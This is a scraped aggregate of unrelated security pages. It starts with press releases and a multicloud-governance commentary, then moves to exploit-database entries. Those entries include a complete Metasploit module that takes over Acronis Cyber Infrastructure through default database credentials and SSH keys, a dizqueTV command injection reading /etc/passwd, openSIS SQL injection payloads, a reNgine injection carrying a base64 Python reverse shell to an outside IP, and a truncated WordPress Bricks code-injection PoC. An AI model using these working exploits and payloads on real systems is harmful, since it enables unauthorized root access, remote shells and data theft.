San Francisco, United States / California, 3rd October 2024, CyberNewsWire

**San Francisco, United States / California, October 3rd, 2024, CyberNewsWire**

Doppler, the leading platform in secrets management, today announces the launch of **Change Requests**, a new feature providing engineering teams with a secure, auditable approval process for managing and controlling secret changes across environments. Designed to enhance security, compliance, and team collaboration, **Change Requests** gives organizations the tools to mitigate the potential risks from misconfigurations or unauthorized changes and maintain a comprehensive audit trail of all secret modifications. This launch comes at a time when organizations are facing increased security and compliance demands, particularly in managing sensitive information.

As security breaches and insider threats continue to rise, managing secrets has become a growing challenge for teams of all sizes; protecting sensitive information at every stage of the software development lifecycle is critical. According to a recent study by Cybersecurity Ventures, cybercrime damages are expected to cost the world $9.5 trillion in 2024 alone, and compromised secrets and misconfigurations remain significant factors in these attacks. In 2023, GitGuardian reported that there were 12.8 million incidents of exposed secrets on Github which is an increase of 28% from 2022, highlighting the need for tighter controls over sensitive information.

Doppler’s **Change Requests** is designed to address these risks by introducing a formalized, auditable approval process for secrets management. This feature offers teams a centralized and controlled way to manage changes to sensitive information while maintaining full visibility into who made updates and when.

**Addressing Needs for Security and Compliance**

*   **Reducing Misconfiguration:** According to the most recent Verizon Data Breach Investigation Report, breaches as a result of errors grew by 28%. By treating secret changes like code, Doppler seeks to help companies decrease this number and reduce the chances of misconfigurations reaching production. With Change Requests, organizations can require peer reviews and approvals for every configuration change to ensure all updates undergo proper scrutiny before being deployed.
*   **The Growing Compliance Burden:** Cybersecurity standards are increasingly holding companies accountable for how they handle sensitive data. Organizations need clear audit trails and compliance-friendly processes. Paired with detailed activity logging, Change Requests further eases the burden teams face by keeping a complete, auditable trail of every request, review, and change, providing a fully traceable history.
*   **Enforce Security with Controlled Access:** As teams grow, so does the complexity of managing secrets. Organizations can safeguard sensitive secrets with custom roles and user groups by enforcing a structured approval process, ensuring only authorized personnel can make critical updates. This helps prevent unauthorized changes and boosts their overall security posture while keeping teams nimble.

**Building Trust Through Security**

> “It’s incredibly exciting to ship our most demanded feature by both developers and enterprises! Just as pull requests have increased the level of trust with production code, Doppler will fill that long awaited gap with secrets,” said **Brian Vallelunga**, CEO of Doppler. “I’m confident that Doppler’s Change Requests is going to establish a new paradigm for managing secrets securely at enterprise scale—undergoing approval, maintaining a rich audit trail for security and compliance, and integrating natively with production infrastructure for uninterrupted, no-downtime rollouts.”

**Availability**

The Change Requests feature is available now for all users on Doppler’s Enterprise plan. To learn more about implementing Change Requests and how it can improve the organization’s security and compliance efforts, users can visit Doppler’s documentation.

**About Doppler**

Doppler is the leading platform for managing secrets such as environment variables, API keys, and tokens in a centralized, secure, and scalable way. Trusted by thousands of security-conscious teams around the world, Doppler provides developers with the tools they need to keep secrets in sync across every app, service, and infrastructure. Built with security in mind, Doppler offers robust integrations, comprehensive logging, and enterprise-grade encryption to ensure sensitive data remains protected throughout its lifecycle.

**Contact**

**Doppler Press**  
**\[email protected\]**

Doppler Launches ‘Change Requests’ to Strengthen Secrets Management Security with Audited Approvals

Singapore, Singapore, 3rd October 2024, CyberNewsWire

**Singapore, Singapore, October 3rd, 2024, CyberNewsWire**

At DEF CON 32, the SquareX research team delivered a hard-hitting presentation titled Sneaky Extensions: The MV3 Escape Artists where they shared their findings on how malicious browser extensions are bypassing Google’s latest standard for building chrome extensions: Manifest V3 (MV3)’s security features, putting millions of users and businesses at risk.

SquareX’s research team publicly demonstrated rogue extensions built on MV3. The key findings include:

*   Extensions can steal live video streams, such as those from Google Meet and Zoom Web, without requiring special permissions.
*   The rogue extensions can act on a user’s behalf to add collaborators to private GitHub repositories.
*   The extensions are capable of hooking into login events to redirect users to a page disguised as a password manager login.
*   Extensions built on MV3 can steal site cookies, browsing history, bookmarks, and download history with ease, like their MV2 counterparts.
*   The rogue extensions can add pop-ups to the active webpage, such as fake software update prompts, tricking users into downloading malware.

Browser extensions have long been a target for malicious actors — a Stanford University report estimates that 280 million malicious Chrome extensions were installed in recent years. Google has struggled to address this issue, often relying on independent researchers to identify malicious extensions. In some cases, Google has had to manually remove them, such as the 32 extensions taken down in June last year. By the time they were removed, these extensions had already been installed 75 million times.

Most of these issues arose because the Chrome extension standard, Manifest Version 2 (MV2), was riddled with loopholes that granted extensions excessive permissions, and allowed scripts to be injected on the fly, often without users’ knowledge. This allowed malicious actors to easily exploit these vulnerabilities to steal data, inject malware, and access sensitive information. MV3 was introduced to address these problems by tightening security, limiting permissions, and requiring extensions to declare their scripts beforehand. 

However, SquareX’s research shows that MV3 falls short in many critical areas, demonstrating how attackers are still able to exploit minimal permissions to carry out malicious activity. Both individual users and enterprises are exposed, even under the newer MV3 framework.

Today’s security solutions, such as endpoint security, SASE/SSE, and Secure Web Gateways (SWG), lack visibility into installed browser extensions. There is currently no mature tool or platform capable of dynamically instrumenting these extensions, leaving enterprises without the ability to accurately assess whether an extension is safe or malicious. 

SquareX is committed to the highest level of cybersecurity protection for enterprises and has built key innovative features to solve this problem, which include;

*   Fine grained policies to decide which extensions to allow / block and parameters include extension permissions, creation date, last update, reviews, ratings, user count, author attributes etc
*   SquareX blocks network requests sent by extensions at run time – based on policies, heuristics and machine learning insights
*   SquareX is also experimenting with dynamic analysis of Chrome Extensions using a modified Chromium browser in its cloud server

These are part of SquareX’s Browser Detection and Response solution which is being deployed at medium-large enterprises and is effectively blocking these attacks.

> **Vivek Ramachandran****, Founder & CEO of** **SquareX**, warned about the mounting risks: “Browser extensions are a blind spot for EDR/XDR and SWGs have no way to infer their presence. This has made browser extensions a very effective and potent technique to silently be installed and monitor enterprise users, and attackers are leveraging them to monitor communication over web calls, act on the victim’s behalf to give permissions to external parties, steal cookies and other site data and so on.” “Our research proves that without dynamic analysis and the ability for enterprises to apply stringent policies, it will not be possible to identify and block these attacks. Google MV3, though well intended, is still far away from enforcing security at both a design and implementation phase,” said Vivek Ramachandran.

**About SquareX**

SquareX helps organizations detect, mitigate and threat-hunt client-side web attacks happening against their users in real time.

SquareX’s industry-first Browser Detection and Response (BDR) solution, takes an attack-focused approach to browser security, ensuring enterprise users are protected against advanced threats like malicious QR Codes, Browser-in-the-Browser phishing, macro-based malware, malicious extensions and other web attacks encompassing malicious files, websites, scripts, and compromised networks.

With SquareX, enterprises can also provide contractors and remote workers with secure access to internal applications, enterprise SaaS, and convert the browsers on BYOD / unmanaged devices into trusted browsing sessions.

**Contact**

**Head of PR**  
**Junice Liew**  
**SquareX**  
**\[email protected\]**

Millions of Enterprises at Risk: SquareX Shows How Malicious Extensions Bypass Google’s MV3 Restrictions

Businesses that successfully manage the complexities of multicloud management will be best positioned to thrive in an increasingly digital and interconnected world.

Source: John Williams RF via Alamy Stock Photo

COMMENTARY

Improper cloud security has cost organizations millions — sometimes even billions — in revenue in the past decade alone. A significant example is Japanese automaker Toyota, which suffered a data breach due to cloud misconfiguration, exposing the personal data of more than 2 million customers. Another example is Accenture, which in August 2021 fell victim to the LockBit ransomware group. Due to cloud misconfigurations, hackers gained access to and stole 6TB of proprietary client data, demanding a ransom of $50 million. These incidents highlight the catastrophic impact that cloud security failures can have. 

As organizations increasingly adopt multicloud strategies, managing multiple cloud environments can lead to cloud misconfigurations and improper handling of cloud resources. Each cloud provider offers different tools, settings, and protocols, making it challenging to ensure consistent security configurations across all platforms. These misconfigurations often are the root cause of significant security breaches, as seen in the examples above. The lack of visibility and control over multiple clouds exacerbates these risks, making it imperative for organizations to adopt robust cloud security practices.

The shift to multicloud environments offers enhanced reliability, reduced vendor lock-in risks, and greater business capabilities. However, this transition is fraught with complexities that require careful planning and strategic management to ensure success. Let's look at the critical aspects of managing multicloud environments, focusing on governance, security, and operational challenges. 

**Evolution and Risks of Multicloud Environments**

The cloud landscape has evolved from traditional on-premises virtualization to a complex array of cloud platforms operating simultaneously. This shift has introduced significant security challenges for enterprises. One of the primary drivers for adopting a multicloud strategy is the need to mitigate risks such as: 

*   Security vulnerabilities/zero-days 
    

However, these benefits come with inherent risks. Organizations must navigate the challenges of the following: 

*   Shared security controls: Implementing consistent security measures across different platforms can be challenging. 
    

*   Governance across multiple platforms: Ensuring compliance with various regulatory requirements can be complex. 
    

*   Varying compatibility: Third-party tools and services may not be compatible across all cloud environments. 
    

For example, companies that previously operated in a single cloud environment must now contend with the complexities of integrating and securing multiple cloud platforms, each with its own unique set of tools and protocols. The lack of coordination and governance in operations and deployments can lead to increased vulnerabilities and operational inefficiencies. Moreover, the scarcity of skilled professionals proficient in multiple cloud platforms exacerbates these challenges, making it crucial for organizations to invest in cross-functional training and development. 

**The Strategic Imperative of Governance and Security**

Effective governance is at the heart of a successful multicloud strategy. Organizations must establish clear guidelines and policies to manage the complexities of multiple cloud environments. Key governance aspects include: 

*   Defining roles and responsibilities: Clarifying who is responsible for cloud administration and security across different platforms. 
    

*   Deploying consistent security controls: Ensuring that security measures are uniformly applied across all cloud environments. 
    

*   Ensuring regulatory compliance: Meeting compliance requirements in each cloud environment.  
    

Security in a multicloud environment is particularly challenging, due to the expanded attack surface and the need for consistent security measures across different cloud platforms. A key aspect of managing security is the centralization of security operations. Centralizing the deployment of images and infrastructure-as-code (IaC) is essential for maintaining a secure and consistent cloud environment. For instance: 

*   Standardizing configurations: Establishing uniform configurations across all cloud environments to minimize the risk of security breaches. 
    

*   Automating security controls: Implementing automated security checks to reduce the likelihood of human error. 
    

Cloud security posture management (CSPM) tools play a critical role in this process. These tools enhance visibility across multiple cloud environments by providing a unified view of security risks. CSPM tools help organizations identify and prioritize risk mitigations according to their business requirements, ensuring that the most critical vulnerabilities are addressed promptly. By consolidating security data from various clouds into a single dashboard, these tools offer a comprehensive picture of the organization's security posture, enabling more effective decision-making. 

CSPM tools like Wiz, Orca, and Lacework go beyond basic security monitoring. They provide continuous assessment of cloud infrastructure, detect misconfigurations, and monitor compliance against frameworks such as CIS, PCI, NIST, and HIPAA. These tools also offer automation features, which can streamline incident response processes by automatically remediating identified risks or alerting security teams for further investigation. 

For instance, in my experience, Wiz and Orca have been particularly effective in identifying and mitigating risks in multicloud environments. These tools not only help prioritize the mitigation of various security risks but also provide structured guidance based on widely accepted baselines. Similarly, Lacework offers robust capabilities in anomaly detection, allowing organizations to identify unusual behaviors that may indicate security breaches or misconfigurations. 

**Taking Multicloud Management to the Finish Line**

Managing a multicloud environment requires a strategic approach that prioritizes governance, security, and centralization. Organizations must develop comprehensive strategies that align with their specific needs and invest in the necessary tools and skills to navigate the complexities of multicloud environments successfully. Understanding which offerings are unique to each cloud service provider allows organizations to leverage the strengths of different platforms effectively. Building a consistent monitoring capability across clouds is essential to maintain visibility and control over the entire infrastructure. 

The use of third-party tools suited for multicloud environments can enhance security and operational efficiency. Applying a framework with consistent policies and controls ensures that security standards are uniformly enforced across all cloud environments. Additionally, implementing a single identity system across clouds simplifies identity and access management, reducing the risk of unauthorized access and improving overall security posture. 

CSPM tools are essential components of this strategy, offering enhanced visibility and control across multiple cloud platforms. These tools provide a single, comprehensive view of the organization's security posture, enabling more informed decision-making and more effective risk management. As businesses continue to embrace the multicloud paradigm, those that successfully manage these complexities will be better positioned to thrive in an increasingly digital and interconnected world. 

**About the Author**

Information Security Officer, IMC Trading

Jatin Mannepalli, CISSP, CCSP is an information security officer (ISO) at IMC Trading, where he brings a deep commitment to managing security and risk across organizations. With more than 10 years of experience in the InfoSec space, he has built and led information security and risk management teams, and has also worked as a security consultant for major consulting firms like McKinsey & Company. Jatin is passionate about security governance and risk management, as well as developing technology-driven, customer-focused strategies that prioritize both organizational success and client satisfaction. Known for his holistic approach, he is dedicated to fostering a culture of security that aligns with the organization’s broader goals. In addition to his professional accomplishments, Jatin is recognized as one of the top voices in Information Security on LinkedIn. In his leisure time, he volunteers to promote security awareness in local communities and contributes to the cybersecurity community by helping develop exams for ISC2.

Navigating the Complexities &amp; Security Risks of Multicloud Management

Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage, compute, and network resources. Businesses and Service Providers are using it for data storage, backup storage, creating and managing virtual machines and software-defined networks, running cloud-native applications in production environments. This Metasploit module exploits a default password vulnerability in ACI which allow an attacker to access the ACI PostgreSQL database and gain administrative access to the ACI Web Portal. This opens the door for the attacker to upload SSH keys that enables root access to the appliance/server. This attack can be remotely executed over the WAN as long as the PostgreSQL and SSH services are exposed to the outside world. ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69, 5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'sshkey'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include BCrypt  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Postgres  include Msf::Exploit::Remote::SSH  prepend Msf::Exploit::Remote::AutoCheck  # ssh_socket  attr_accessor :ssh_socket  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Acronis Cyber Infrastructure default password remote code execution',        'Description' => %q{          Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,          compute, and network resources. Businesses and Service Providers are using it for data storage,          backup storage, creating and managing virtual machines and software-defined networks, running          cloud-native applications in production environments.          This module exploits a default password vulnerability in ACI which allow an attacker to access          the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.          This opens the door for the attacker to upload SSH keys that enables root access          to the appliance/server. This attack can be remotely executed over the WAN as long as the          PostgreSQL and SSH services are exposed to the outside world.          ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,          5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.        },        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module          'Acronis International GmbH', # discovery        ],        'References' => [          ['CVE', '2023-45249'],          ['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'],          ['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249']        ],        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Privileged' => true,        'Arch' => [ARCH_CMD],        'Targets' => [          [            'Unix/Linux Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd            }          ],          [            'Interactive SSH',            {              'Type' => :ssh_interact,              'DefaultOptions' => {                'PAYLOAD' => 'generic/ssh/interact'              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'ssh_interact'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-07-24',        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 8888,          'USERNAME' => 'vstoradmin',          'PASSWORD' => 'vstoradmin',          'DATABASE' => 'keystone',          'SSH_TIMEOUT' => 30,          'WfsDelay' => 5        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')    register_options([      OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),      OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),      OptPort.new('SSHPORT', [true, 'SSH port', 22]),      OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', ''])    ])    register_advanced_options([      OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])    ])  end  # add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)  def add_admin_user(username, userid, password)    vprint_status("Creating admin user #{username} with userid #{userid}")    # add new admin user to the user table    res_query = postgres_query("INSERT INTO \"user\" VALUES(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # add new admin user to the local_user table    res_query = postgres_query('SELECT * FROM "local_user" WHERE id = ( SELECT MAX (id) FROM "local_user" );', datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_luser = res_query[:complete].rows[0][0].to_i + 1    res_query = postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # hash the password    password_hash = Password.create(password)    today = Date.today    vprint_status("Setting password #{password} with hash #{password_hash}")    res_query = postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );', datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_pwd = res_query[:complete].rows[0][0].to_i + 1    res_query = postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # Getting the admin roles and assign this to the new admin user    vprint_status('Getting the admin roles')    res_query = postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_project_role = res_query[:complete].rows[0][0]    res_query = postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_admin_role = res_query[:complete].rows[0][0]    vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")    res_query = postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")    true  end  # create SSH session.  # based on the ssh_opts can this be key or password based.  # if login is successfull, return true else return false. All other errors will trigger an immediate fail  def do_sshlogin(ip, user, ssh_opts)    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)      end    rescue Rex::ConnectionError      fail_with(Failure::Unreachable, 'Disconnected during negotiation')    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Disconnected, 'Timed out during negotiation')    rescue Net::SSH::AuthenticationFailed      return false    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")    end    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket    return true  end  # login at the Acronis Cyber Infrastructure web portal  def aci_login(name, pwd)    post_data = {      username: name.to_s,      password: pwd.to_s    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'),      'data' => post_data.to_s    })    return res&.code == 200  end  # returns cluster id or nil if not found  def get_cluster_id    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'clusters')    })    return unless res&.code == 200    return unless res.body.include?('data') && res.body.include?('id')    # parse json response and get the version    res_json = res.get_json_document    return if res_json.blank?    res_json['data'].each do |cluster|      return cluster['id'] unless cluster['id'].nil?    end  end  # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal  def upload_sshkey(sshkey, cluster_id)    post_data = {      key: sshkey.to_s,      event:      {        name: 'SshKeys',        method: 'post',        data:        {          key: sshkey.to_s        }      }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', cluster_id.to_s, 'ssh-keys'),      'data' => post_data.to_s    })    return true if res&.code == 202 && res.body.include?('task_id')    false  end  def execute_command(cmd, _opts = {})    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }  rescue Timeout::Error    @timeout = true  end  # return ACI version-release string or nil if not found  def get_aci_version    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about')    })    return unless res&.code == 200    return unless res.body.include?('storage-release')    # parse json response and get the version    res_json = res.get_json_document    return if res_json.blank?    version = res_json['storage-release']['version']    return if version.nil?    release = res_json['storage-release']['release']    return if release.nil?    "#{version}-#{release}".gsub(/[[:space:]]/, '')  end  def check    version_release = get_aci_version    return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil?    return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')    case version_release.split(/\.\d-/)[0]    when '5.0'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')    when '5.1'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.1.1-71')    when '5.2'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.2.1-69')    when '5.3'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.3.1-53')    when '5.4'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.4.4-132')    end    CheckCode::Safe("Version #{version_release}")  end  def exploit    # connect to the PostgreSQL DB with default credentials    fail_with(Failure::Unreachable, "Can not connect to PostgreSQL DB on port #{datastore['DBPORT']}.") unless postgres_login({ port: datastore['DBPORT'] }) == :connected    # add a new admin user    username = Rex::Text.rand_text_alphanumeric(5..8).downcase    userid = SecureRandom.hex    password = Rex::Text.rand_password    print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")    fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password)    # storing credentials at the msf database    print_status('Saving admin credentials at the msf database.')    store_valid_credential(user: username, private: password)    # log out from the postsgreSQL DB    postgres_logout if postgres_conn    # create or use own SSH private key    if datastore['PRIV_KEY_FILE'].blank?      print_status('Creating SSH private and public key.')      k = SSHKey.generate(comment: 'root')    else      print_status("Using your own SSH private key file: #{datastore['PRIV_KEY_FILE']} in PEM format.")      fail_with(Failure::NotFound, "Can not find or open SSH private key file: #{datastore['PRIV_KEY_FILE']}") unless File.file?(File.expand_path(datastore['PRIV_KEY_FILE']))      f = File.read(File.expand_path(datastore['PRIV_KEY_FILE']))      k = SSHKey.new(f, comment: 'root')    end    vprint_status(k.private_key)    vprint_status(k.ssh_public_key)    # storing SSH public and private key at the msf database    print_status('Saving SSH public and private key pair at the msf database.')    store_valid_credential(user: 'ACI SSH public key', private: k.ssh_public_key)    store_valid_credential(user: 'ACI SSH private key', private: k.private_key)    # log in with the new admin user credentials at the Acronis Admin Portal    fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)    # get cluster id to upload the SSH keys    print_status('Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.')    cluster_id = get_cluster_id    fail_with(Failure::NotFound, 'Can not find a cluster and retrieve the id.') if cluster_id.nil?    # upload the public ssh key at the Acronis Admin Portal to enable root access via SSH    print_status('Uploading SSH public key at the Acronis Admin Portal.')    fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(k.ssh_public_key, cluster_id)    # login with SSH private key to establish SSH root session    ssh_opts = ssh_client_defaults.merge({      auth_methods: ['publickey'],      key_data: [ k.private_key ],      port: datastore['SSHPORT']    })    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    print_status('Authenticating with SSH private key.')    fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts)    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :ssh_interact      handler(ssh_socket)      return    end    @timeout ? ssh_socket.shutdown! : ssh_socket.close  endend

Acronis Cyber Infrastructure Default Password Remote Code Execution

dizqueTV version 1.5.3 suffers from a remote code execution vulnerability.

**dizqueTV 1.5.3 Remote Code Execution**

Posted Oct 3, 2024

Authored by Ahmed Said Saud Al-Busaidi

dizqueTV version 1.5.3 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution

SHA-256 | b18cb14167c97952ef1684789d6a48b83e5c1338a0677edc0b3eaef195497b45

Download | Favorite | View

**dizqueTV 1.5.3 Remote Code Execution**

    # Exploit Title: dizqueTV 1.5.3 - Remote Code Execution (RCE)# Date: 9/21/2024# Exploit Author: Ahmed Said Saud Al-Busaidi# Vendor Homepage: https://github.com/vexorian/dizquetv# Version: 1.5.3# Tested on: linuxPOC:## Vulnerability DescriptiondizqueTV 1.5.3 is vulnerable to unauthorized remote code execution from attackers.## STEPS TO REPRODUCE1. go to http://localhost/#!/settings 2. now go to ffmpeg settings and change the FFMPEG Executable Path to: "; cat /etc/passwd && echo 'poc'"3. click on update4. now visit http://localhost/#!/version or click on version and you should see the content of /etc/passwd

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dizqueTV 1.5.3 Remote Code Execution

openSIS version 9.1 suffers from a remote SQL injection vulnerability.

    # Exploit Title: openSIS 9.1 - SQLi (Authenticated)# Google Dork: intext:"openSIS is a product"# Date: 09.09.2024# Exploit Author: Devrim Dıragumandan (d0ub1edd)# Vendor Homepage: https://www.os4ed.com/# Software Link: https://github.com/OS4ED/openSIS-Classic/releases/tag/V9.1# Version: 9.1# Tested on: LinuxA SQL injection vulnerability exists in OS4Ed Open Source Information System Community v9.1 via the "X-Forwarded-For" header parameters in POST request sent to /Ajax.php. GET /Ajax.php?modname=x HTTP/1.1---    Parameter: X-Forwarded-For #1* ((custom) HEADER)    Type: boolean-based blind    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: 127.0.0.2' AND EXTRACTVALUE(5785,CASE WHEN (5785=5785) THEN 5785 ELSE 0x3A END) AND 'HVwG'='HVwG    Type: error-based    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)    Payload: 127.0.0.2' AND GTID_SUBSET(CONCAT(0x717a787671,(SELECT (ELT(5261=5261,1))),0x71716b6b71),5261) AND 'djze'='djze    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: 127.0.0.2' AND (SELECT 5313 FROM (SELECT(SLEEP(5)))VeyP) AND 'ZIae'='ZIae--- FIX: https://github.com/OS4ED/openSIS-Classic/pull/322

openSIS 9.1 SQL Injection

reNgine version 2.2.0 suffers from an authenticated command injection vulnerability.

    # Exploit Title: reNgine 2.2.0 - Command Injection (Authenticated)# Date: 2024-09-29# Exploit Author: Caner Tercan# Vendor Homepage: https://rengine.wiki/# Software Link: https://github.com/yogeshojha/rengine# Version: v2.2.0# Tested on: macOSPOC : 1. Login the Rengine Platform2. Click the Scan Engine3. Modify any Scan Engine4. I modified nmap_cmd parameters on yml config5. Finally, add a target in the targets section, select the scan engine you edited and start scanning.payload :'nmap_cmd': 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh  #’￼￼

reNgine 2.2.0 Command Injection

WordPress Bricks Builder Theme version 1.9.6 suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : WordPress Bricks Builder Theme 1.9.6 php code injection Vulnerability                                                       |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            |  
| # Vendor    : https://bricksbuilder.io/                                                                                                   |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following php code Upload shell file from external link.

[+] Line 53 set your target.

[+] Line 45 set your commands.

[+] Line 68 set your path.

[+] save code as poc.php .

[+] USage : cmd = php poc.php .

[+] PayLoad :

<?php

class MetasploitModule {

    private $info; // معلومات الوحدة  
    private $targetUri; // URI المستهدف

    // دالة لجلب الـ Nonce  
    private function fetchNonce() {  
        // تحقق مما إذا كانت targetUri مُعرفة  
        if (empty($this->targetUri['path'])) {  
            throw new Exception('Target URI path is not set.');  
        }

        // إرسال طلب GET لجلب الـ Nonce  
        $response = $this->sendRequest(['method' => 'GET', 'uri' => $this->targetUri['path']]);  
        // إذا كانت الاستجابة غير ناجحة، نرجع null  
        if ($response['code'] !== 200) return null;

        // استخدام التعبير النمطي لاستخراج الـ Nonce  
        preg_match('/"nonce":"([a-f0-9]+)"/', $response['body'], $matches);  
        return $matches ? $matches[1] : null; // إرجاع الـ Nonce أو null إذا لم يتم العثور عليه  
    }

    // دالة تنفيذ الاستغلال  
    public function exploit() {  
        // جلب الـ Nonce  
        $nonce = $this->fetchNonce();  
        if (!$nonce) {  
            throw new Exception('Failed to retrieve nonce. Exiting...'); // إذا فشل جلب الـ Nonce  
        }

        echo "Nonce retrieved: {$nonce}\n"; // طباعة الـ Nonce المستخرج

        // إعداد البيانات لإرسالها في الطلب  
        $data = [  
            'postId' => rand(1, 10000), // توليد معرف عشوائي  
            'nonce' => $nonce, // استخدام الـ Nonce المستخرج  
            'element' => [  
                'name' => 'code',  
                'settings' => [  
                    'executeCode' => 'true',  
                    'code' => "<?php payload ?>" // هنا يتم وضع الشيفرة التي سيتم تنفيذها  
                ]  
            ]  
